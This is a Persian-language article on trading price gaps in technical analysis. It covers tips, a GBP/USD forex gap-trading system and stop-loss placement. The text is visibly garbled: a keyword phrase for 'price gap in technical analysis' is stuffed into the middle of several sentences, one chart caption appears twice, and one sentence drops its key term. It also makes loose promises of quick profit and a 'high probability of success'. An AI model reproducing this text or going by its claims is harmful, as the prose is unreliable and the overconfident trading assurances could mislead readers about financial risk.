در ادامه نکات کلیدی را می‌بینید که باید به‌هنگام معامله با استفاده از شکاف‌های قیمتی به‌خاطر بسپارید:

• زمانی که قیمت سهم شروع به پر کردن شکاف قیمتی کرد به‌ندرت در شکاف قیمت در تحلیل تکنیکال آن نقطه توقف می‌کند زیرا معمولاً هیچ‌گونه سطح حمایتی یا مقاومتی نزدیک به آن وجود ندارد. شکاف‌های خستگی و شکاف‌های ادامه‌دهنده حرکت قیمت در دو جهت متفاوت را پیش‌بینی می‌کنند – بنابراین از طبقه‌بندی نوع شکافی که می‌خواهید از آن استفاده کنید اطمینان داشته باشید.
• سرمایه‌گذاران خرد (retail investors)‌ کسانی هستند که معمولاً از شور و نشاط افراطی بازار استفاده می‌کنند هرچند مؤسسات سرمایه‌گذاری نیز ممکن است از این شکاف‌ها برای کمک به پرتفوی خود استفاده کنند. بنابراین زمانی که از این اندیکاتور استفاده می‌کنید هوشیار بوده و پیش از ورود به هرگونه پوزیشن معاملاتی، صبر کنید تا قیمت بتواند شکست را انجام دهد.
• حتماً به بررسی حجم معاملاتی بپردازید. در شکاف‌های فرار حجم معاملاتی باید بالا باشد در حالی که در شکاف‌های خستگی باید با حجم معاملاتی پایینی روبه‌رو شویم.

مثالی از معامله با استفاده از شکاف قیمتی​

برای جمع‌بندی ایده‌ها و مفاهیم ذکر شده بیایید به یک سیستم معاملاتی شکاف‌های قیمتی که برای بازار فارکس طراحی شده است نگاهی بیاندازیم. این سیستم از

برای پیش‌بینی بازگشت به سطوح قبلی قیمت استفاده می‌کند. قوانین این سیستم در ادامه آمده است.

1. معامله باید همواره در جهت روند اصلی قیمت انجام شود (نمودار ساعتی بررسی شود)
2. ارز مورد نظر باید یک شکاف قیمتی مهم به سمت بالا یا پایین یک سطح مقاومتی کلیدی در نمودار 30 دقیقه‌ای داشته باشد.
3. قیمت باید به سطح مقاومت اصلی برگردد. این نشان می‌دهد که شکاف قیمتی پر شده است و قیمت به سطح مقاومت پیشین خود بازگشته و آن را تبدیل به یک حمایت کرده است.
4. باید کندلی شکل بگیرد که نشان‌دهندهٔ ادامهٔ حرکت قیمت در جهت شکاف قیمتی شکاف قیمت در تحلیل تکنیکال باشد. این موضوع به ما کمک می‌کند تا از قدرت منطقهٔ حمایتی اطمینان بیشتری حاصل کنیم.

این کندل‌های بزرگ معمولاً به‌خاطر انتشار یک گزارش که سبب حرکات تند قیمت با نقدینگی پایین می‌شوند شکل می‌گیرند. در بازار فارکس تنها شکاف‌های قیمتی قابل مشاهده زمانی هستند که بازار پس از تعطیلات آخر هفته دوباره باز می‌شود.

بیایید نگاهی به این سیستم در نمودار زیر بیاندازیم:

کندل بزرگی که با فلش سمت چپ مشخص شده است نشان‌دهندهٔ یک شکاف قیمتی در نمودار جفت ارز پوند بریتانیا به دلار آمریکا (GBP/USD) در بازار فارکس است.
کندل بزرگی که با فلش سمت چپ مشخص شده است نشان‌دهندهٔ یک شکاف قیمتی در نمودار شکاف قیمت در تحلیل تکنیکال جفت ارز پوند بریتانیا به دلار آمریکا (GBP/USD) در بازار فارکس است.

این به‌شکل یک شکاف قیمتی معمول نیست اما عدم وجود نقدینگی بین قیمت‌ها آن را شبیه به شکاف‌های معمول می‌کند. توجه کنید که چگونه این سطوح به‌عنوان حمایت‌ها و مقاومت‌های قدرتمند ایفای نقش می‌کنند.

می‌توانیم در شکل فوق ببینیم که قیمت یک شکاف قیمتی به بالای یک محدودهٔ قدرتمند تثبیتی مقاومتی ایجاد کرده، به آن سطح برگشته و آن را پر کرده است و در نهایت، مسیر خود به سمت بالا پیش از تغییر جهت حرکت ادامه داده است.

می‌توانیم ببینیم که یک سطح حمایتی کوچک در پایین شکاف قیمتی وجود دارد، که این حمایت کوچک شکاف قیمت در تحلیل تکنیکال تا محدودهٔ حمایتی پیشین (جایی که ما وارد معامله خرید شدیم) ادامه پیدا کرده است.

یک معامله‌گر می‌تواند همچنین از نقطهٔ چرخش حرکات قیمت تا محدودهٔ حمایتی مورد نظر وارد یک معامله فروش شود، اگر بتواند شکل‌گیری نقطهٔ قله در قیمت را تشخیص دهد.

نکتهٔ مهم: شکاف‌های قیمتی به دلیل نقدینگی پایین و نوسانات بالا ریسکی می‌باشند اما اگر به‌درستی برای معامله مورد استفاده قرار بگیرند می‌توانند فرصت‌هایی برای کسب سود سریع را در اختیار ما قرار دهند.

جمع‌بندی​

افرادی که به بررسی و مطالعهٔ فاکتورهای ایجادکنندهٔ شکاف‌های قیمتی پرداخته و می‌توانند این شکاف‌ها را به‌درستی تشخیص دهند احتمال بالایی از موفقیت را پیش روی خود می‌بینند. هرچند، همواره یک معامله وجود دارد که مطابق میل شما پیش نخواهد رفت.

برای اینکه از چنین حالاتی پیش‌گیری کنید باید ابتدا به بررسی شبکه ارتباطات الکترونیک (electronic communication network – ECN) و حجم معاملاتی (volume) بپردازید. این دو مورد به شما اطلاعاتی در خصوص محل قرارگیری معاملات مختلف می‌دهد.

اگر یک مقاومت با حجم معاملاتی بالا را می‌بینید که از پر شدن شکاف قیمتی جلوگیری می‌کند، به بررسی دوبارهٔ معاملهٔ خود بپردازید و اگر در خصوص این موقعیت مطمئن نیستید وارد هیچ معامله‌ای نشوید.

شما باید از پایان یافتن رالی قیمتی نیز اطمینان حاصل کنید. شور و نشاط غیرمنطقی شکل‌گرفته در بازار لزوماً توسط بازار اصلاح نمی‌شوند.
ممکن است برخی از سهام‌ها سال‌ها به حرکت صعودی خود ادامه داده، ارزشی بیشتر از ارزش واقعی خود داشته باشند و شایعات اثر زیادی بر میزان معاملهٔ آن‌ها داشته باشند بدون آنکه هیچ‌گونه حرکت اصلاحی‌ای در بازار شکل بگیرد.

پیش از ورود به موقعیت‌های معاملاتی مطمئن شوید که افت حجم معاملاتی در بازار صورت پذیرفته است. در آخر، همواره از یک دستور استاپ حفاظتی (stop-loss order) در معاملات‌تان استفاده کنید.

یکی از بهترین مکان‌ها برای قرار دادن دستور استاپ حفاظتی سطوح پایینی نقاط حمایت کلیدی است. البته شما می‌توانید از درصدها نیز استفاده کنید برای مثال می‌توانید دستور استاپ حفاظتی را 8% پایین‌تر از نقطه ورود قرار دهید.